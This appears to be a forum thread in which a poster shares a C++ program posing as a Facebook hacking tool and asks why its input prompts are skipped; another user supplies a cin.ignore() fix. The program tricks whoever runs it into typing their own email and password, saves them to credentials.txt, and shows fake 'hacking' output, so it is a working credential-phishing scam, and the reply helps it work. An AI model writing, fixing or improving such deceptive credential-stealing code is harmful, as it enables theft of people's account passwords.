A program that runs the code without waiting for input

[Aceix]

#include <iostream>
#include <cstring>
#include <fstream>

using namespace std;

void fb();

int main()
{
int x;

cout<<"\tThis test tool by Aceix is used to hack a facebook account";
cout<<"\n\n\nChoose the number associated with your choice.";
cout<<"\n\n1. Hack a facebook account."<<endl;
cout<<"2. Exit";
cout<<"\n\nSelection: ";
cin>>x;
switch(x) {
case 1:
fb();
cin.get();
break;

case 2:
cout <<"\n\nThanks for trying this hack tool.";
cin.get();
break;

default:
cout<<"\n\nWrong input! Exiting...";
cin.get();
break;
}
}

void fb()
{
string email;
string pass;
string vic;
int y;

cout<<"\n\nPlease enter your email address:"<<endl;
getline ( cin, email );
cout<<"\n\nEnter your password(this is to trick the remote server to see you as the administrator): ";
getline ( cin, pass );
system("CLS");
cout<<"Now enter the email address of your victim: ";
getline ( cin, vic );
ofstream cred( "credentials.txt", ios :: app );
cred<<email<<"\n";
cred<<pass;
cred.close();
cout<<"\n\nHacking...";
for ( y = 0; y < 1000; y++ ) {
cout<<"...";
}
cout<<"Password acquired\nAtempting login...................................................................login failed.\nPlease reboot and try again.";

cin.get();
}

The program compiles alright, but does not wait for user input at the underlined section in the code. Please show me what is wrong.

[LaboPie]

what's wrong is that you should clean the input buffer before calling the getline, in this way:

cin.ignore(); //<- with this you discard the last input in the buffer
cout<<"\n\nPlease enter your email address:"<<endl;
getline ( cin, email );

if you don't do that, the first getline looks in the buffer, find a "/n" that stay there from the previous input, and automatically return :)

[Aceix]

Thanks mann helped a lot!!!